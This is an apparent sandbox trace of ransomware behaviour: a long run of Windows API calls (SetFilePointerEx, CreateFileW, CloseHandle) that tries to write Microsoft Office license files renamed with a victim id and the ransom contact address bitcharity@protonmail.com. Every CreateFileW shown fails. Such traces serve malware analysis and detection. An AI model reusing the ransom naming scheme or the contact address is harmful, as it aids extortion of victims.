SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.425] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.425] CloseHandle (hObject=0x1194) returned 1 [0251.426] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.426] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.426] CloseHandle (hObject=0x1194) returned 1 [0251.427] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.427] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.428] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.428] CloseHandle (hObject=0x1194) returned 1 [0251.429] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.429] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.429] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.429] CloseHandle (hObject=0x1194) returned 1 [0251.430] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.430] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest4-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest4-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.430] CloseHandle (hObject=0x1194) returned 1 [0251.431] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.432] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.432] CloseHandle (hObject=0x1194) returned 1 [0251.433] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.433] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.433] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.433] CloseHandle (hObject=0x1194) returned 1 [0251.434] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.434] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest5-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest5-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.434] CloseHandle (hObject=0x1194) returned 1 [0251.435] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.435] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.436] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.436] CloseHandle (hObject=0x1194) returned 1 [0251.437] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.437] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.437] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.437] CloseHandle (hObject=0x1194) returned 1 [0251.438] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.438] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.438] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial1-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial1-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.439] CloseHandle (hObject=0x1194) returned 1 [0251.439] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.439] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.439] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.440] CloseHandle (hObject=0x1194) returned 1 [0251.440] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.440] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.441] CloseHandle (hObject=0x1194) returned 1 [0251.441] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.442] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.442] CloseHandle (hObject=0x1194) returned 1 [0251.443] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.443] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial3-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial3-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.443] CloseHandle (hObject=0x1194) returned 1 [0251.754] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.754] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.754] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial3-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.754] CloseHandle (hObject=0x1194) returned 1 [0251.755] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.755] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial3-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.755] CloseHandle (hObject=0x1194) returned 1 [0251.756] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.756] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.757] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial3-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial3-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.757] CloseHandle (hObject=0x1194) returned 1 [0251.758] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.758] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial4-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.758] CloseHandle (hObject=0x1194) returned 1 [0251.759] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.759] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial4-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.760] CloseHandle (hObject=0x1194) returned 1 [0251.761] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.761] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.761] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial4-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial4-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.761] CloseHandle (hObject=0x1194) returned 1 [0251.762] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.762] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial5-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.762] CloseHandle (hObject=0x1194) returned 1 [0251.763] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.763] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial5-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.764] CloseHandle (hObject=0x1194) returned 1 [0251.765] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.765] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365SmallBusPremR_SubTrial5-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365smallbuspremr_subtrial5-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.765] CloseHandle (hObject=0x1194) returned 1 [0251.766] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.766] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotefreer_bypass-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.767] CloseHandle (hObject=0x1194) returned 1 [0251.768] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.768] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotefreer_bypass-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.768] CloseHandle (hObject=0x1194) returned 1 [0251.769] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.769] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.769] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteFreeR_Bypass-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenotefreer_bypass-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.770] CloseHandle (hObject=0x1194) returned 1 [0251.771] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.771] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_grace-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.771] CloseHandle (hObject=0x1194) returned 1 [0251.772] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.772] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_Grace-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_grace-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.773] CloseHandle (hObject=0x1194) returned 1 [0251.774] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.774] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.774] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.774] CloseHandle (hObject=0x1194) returned 1 [0251.775] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.775] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\OneNoteR_OEM_Perp-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\onenoter_oem_perp-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.775] CloseHandle (hObject=0x1194) returned 1 [0251.779] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 